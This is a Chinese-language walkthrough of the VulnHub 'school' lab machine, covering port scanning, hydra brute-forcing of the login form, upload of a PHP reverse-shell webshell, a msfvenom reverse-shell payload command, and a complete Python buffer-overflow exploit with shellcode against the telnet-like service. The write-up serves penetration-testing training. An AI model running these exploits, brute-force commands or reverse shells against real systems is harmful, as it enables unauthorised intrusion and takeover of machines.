打靶记录26——school
靶机:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
下载(镜像):https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
难度:
- 高
目标:
- 获得 Root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- SQL 注入
- 信息泄露
- 文件上传
- 离线密码破解
- 在线密码破解
- WINE
- 缓冲区溢出
- EXP 代码编写
- 本地提权
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.31.38

sudo nmap -p22,23,80 -A 192.168.31.38,目标可能是 Debian 系统,服务器上的 SSH 版本是7.9
▼xml复制代码┌──(kali㉿DESKTOP-MLG4CQ2)-[~] └─$ sudo nmap -p22,23,80 -A 192.168.31.38 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 17:52 CST Nmap scan report for school (192.168.31.38) Host is up (0.00052s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA) | 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA) |_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519) 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270: |_ Verification Code: 80/tcp open http Apache httpd 2.4.38 ((Debian)) | http-title: 404 Not Found |_Requested resource was login.php |_http-server-header: Apache/2.4.38 (Debian) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port23-TCP:V=7.94SVN%I=7%D=1/23%Time=6792116E%P=x86_64-pc-linux-gnu%r(N SF:ULL,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GenericLin SF:es,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(tn3270,1C," SF:Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GetRequest,1C,"Ver SF:ification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(HTTPOptions,1C,"Verif SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RTSPRequest,1C,"Verific SF:ation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RPCCheck,1C,"Verification SF:\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSVersionBindReqTCP,1C,"Verif SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSStatusRequestTCP,1C, SF:"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Help,1C,"Verifica SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SSLSessionReq,1C,"Verifica SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServerCookie,1C,"V SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TLSSessionReq,1C,"V SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Kerberos,1C,"Verifi SF:cation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SMBProgNeg,1C,"Verificat SF:ion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(X11Probe,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(FourOhFourRequest,1C,"Verificati SF:on\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LPDString,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPSearchReq,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPBindReq,1C,"Verification\x20 SF:Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SIPOptions,1C,"Verification\x20Cod SF:e:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LANDesk-RC,1C,"Verification\x20Code:\ SF:n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServer,1C,"Verification\x20Code: SF:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(NCP,1C,"Verification\x20Code:\n\0\0\0\x SF:ee\x1e@\0\xe2\x1c")%r(NotesRPC,1C,"Verification\x20Code:\n\0\0\0\xee\x1 SF:e@\0\xe2\x1c")%r(JavaRMI,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\x SF:e2\x1c")%r(WMSRequest,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\ SF:x1c")%r(oracle-tns,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c SF:")%r(ms-sql-s,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r( SF:afp,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c"); MAC Address: 08:00:27:D7:87:B1 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.51 ms school (192.168.31.38) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
nc 192.168.31.38 23 连接一下 23 端口看一下有什么反馈,发现和常见的 telnet 服务不一样,要求我们输入验证码

访问 80 端口是一个登录框

暴力破解
hydra
hydra 是一款功能强大且广为人知的开源密码破解工具,常用于安全审计和渗透测试工作中,以下从多个方面详细介绍它:
特点
- 多协议支持:
hydra支持众多网络协议的密码破解,如 SSH、FTP、HTTP、HTTPS、SMTP、POP3、IMAP 等。这使得它在不同的网络服务场景下都能发挥作用,能够针对各种应用程序和服务进行密码暴力破解测试。 - 速度快:采用多线程技术,能够同时发起多个连接和尝试,大大提高了密码破解的速度。通过合理配置线程数量,可以在短时间内尝试大量的密码组合。
- 高度可定制:用户可以自定义用户名、密码字典、攻击模式等,根据具体的测试需求灵活调整破解策略。还可以设置并发连接数、超时时间等参数。
基本用法
hydra 的基本语法如下:
bash
▼bash复制代码hydra [-l <username> | -L <username_list>] [-p <password> | -P <password_list>] <target> <service>
-
参数说明:
-
-l <username>:指定单个用户名。 -
-L <username_list>:指定包含多个用户名的文件路径。 -
-p <password>:指定单个密码。 -
-P <password_list>:指定包含多个密码的字典文件路径。 -
<target>:目标主机的 IP 地址或域名。 -
<service>:要攻击的服务,如ssh、ftp、http等。
示例
1. SSH 服务密码破解
bash
▼bash复制代码hydra -l root -P /path/to/passwords.txt ssh://192.168.1.100
此命令表示使用用户名 root 和 /path/to/passwords.txt 字典文件对 IP 为 192.168.1.100 的主机的 SSH 服务进行密码破解。
2. HTTP 表单认证破解
bash
▼bash复制代码hydra -l admin -P /path/to/passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
该命令针对 IP 为 192.168.1.100 的主机上的 login.php 表单进行破解,使用用户名 admin 和指定字典文件。^USER^ 和 ^PASS^ 是 hydra 的占位符,分别代表用户名和密码。F=incorrect 表示当页面中出现 incorrect 字符串时,认为密码验证失败。

根据这个 URL 地址来进行爆破
▼bash复制代码hydra 192.168.31.38 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r \n3" -l admin -P /mnt/d/Downlaods_1/MidPwds.txt -vV -f
**-vV**:这是两个详细输出选项的组合。-v表示显示详细的破解过程信息,-V表示显示每个尝试的用户名和密码组合,方便用户实时了解破解进度和具体尝试情况。**-f**:当找到一个有效的用户名和密码组合后,hydra会立即停止破解过程,不再继续尝试其他密码。

使用密码成功进入后台

信息泄露

Ctrl + U 查看源代码发现注释里面有提示一个参数 site_settings,还有一个 uploads 的目录
传参后发现一个文件上传的点,尝试上传 Webshell
文件上传
kali 里面自带有 webshell,修改一下里面的 ip 为 kali 本机的 ip


然后成功上传上去了,路径就在刚刚发现的 uploads 路径下
现在 kali 启动监听,然后就点击触发反弹 shell

▼bash复制代码python -c "import pty;pty.spawn('/bin/bash')"
升级一下 shell
看 fox 账号下发现第一个 flag

第二个 flag 还是得提权之后才能看
查看 win 文件发现是一个脚本

用 wine 可以在 Linux 系统上运行 Windows 软件
使用 msf 生成 shellcode
▼bash复制代码msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.127 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python

编写 exp
参考:https://blog.csdn.net/weixin_43784056/article/details/113525412
▼bash复制代码#!/usr/bin/python3 import socket buf=b'' target_ip='192.168.31.38' target_port=23 recv_buf=4096 junk = b'a' * 1902 ret_addr=b'\xdd\x12\x50\x62' #nops=b'\x90'*32 可选 buf = b"" buf += b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e" buf += b"\x81\x76\x0e\xc0\xf1\x7a\xfb\x83\xee\xfc\xe2\xf4" buf += b"\x3c\x19\xf8\xfb\xc0\xf1\x1a\x72\x25\xc0\xba\x9f" buf += b"\x4b\xa1\x4a\x70\x92\xfd\xf1\xa9\xd4\x7a\x08\xd3" buf += b"\xcf\x46\x30\xdd\xf1\x0e\xd6\xc7\xa1\x8d\x78\xd7" buf += b"\xe0\x30\xb5\xf6\xc1\x36\x98\x09\x92\xa6\xf1\xa9" buf += b"\xd0\x7a\x30\xc7\x4b\xbd\x6b\x83\x23\xb9\x7b\x2a" buf += b"\x91\x7a\x23\xdb\xc1\x22\xf1\xb2\xd8\x12\x40\xb2" buf += b"\x4b\xc5\xf1\xfa\x16\xc0\x85\x57\x01\x3e\x77\xfa" buf += b"\x07\xc9\x9a\x8e\x36\xf2\x07\x03\xfb\x8c\x5e\x8e" buf += b"\x24\xa9\xf1\xa3\xe4\xf0\xa9\x9d\x4b\xfd\x31\x70" buf += b"\x98\xed\x7b\x28\x4b\xf5\xf1\xfa\x10\x78\x3e\xdf" buf += b"\xe4\xaa\x21\x9a\x99\xab\x2b\x04\x20\xae\x25\xa1" buf += b"\x4b\xe3\x91\x76\x9d\x99\x49\xc9\xc0\xf1\x12\x8c" buf += b"\xb3\xc3\x25\xaf\xa8\xbd\x0d\xdd\xc7\x0e\xaf\x43" buf += b"\x50\xf0\x7a\xfb\xe9\x35\x2e\xab\xa8\xd8\xfa\x90" buf += b"\xc0\x0e\xaf\xab\x90\xa1\x2a\xbb\x90\xb1\x2a\x93" buf += b"\x2a\xfe\xa5\x1b\x3f\x24\xed\x91\xc5\x99\xba\x53" buf += b"\xdf\x8e\x12\xf9\xc0\xe0\x26\x72\x26\x9b\x6a\xad" buf += b"\x97\x99\xe3\x5e\xb4\x90\x85\x2e\x45\x31\x0e\xf7" buf += b"\x3f\xbf\x72\x8e\x2c\x99\x8a\x4e\x62\xa7\x85\x2e" buf += b"\xa8\x92\x17\x9f\xc0\x78\x99\xac\x97\xa6\x4b\x0d" buf += b"\xaa\xe3\x23\xad\x22\x0c\x1c\x3c\x84\xd5\x46\xfa" buf += b"\xc1\x7c\x3e\xdf\xd0\x37\x7a\xbf\x94\xa1\x2c\xad" buf += b"\x96\xb7\x2c\xb5\x96\xa7\x29\xad\xa8\x88\xb6\xc4" buf += b"\x46\x0e\xaf\x72\x20\xbf\x2c\xbd\x3f\xc1\x12\xf3" buf += b"\x47\xec\x1a\x04\x15\x4a\x8a\x4e\x62\xa7\x12\x5d" buf += b"\x55\x4c\xe7\x04\x15\xcd\x7c\x87\xca\x71\x81\x1b" buf += b"\xb5\xf4\xc1\xbc\xd3\x83\x15\x91\xc0\xa2\x85\x2e" payload = b'' payload += junk payload += ret_addr #payload += nops payload += buf with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock: clientSock.connect((target_ip,target_port)) data_from_srv = clientSock.recv(recv_buf) print(f"Reply --> {data_from_srv}") print(f"Sending --> {payload}") clientSock.sendall(payload)
运行 exp,获得 shell

去到 root 路径获取最后一个 flag


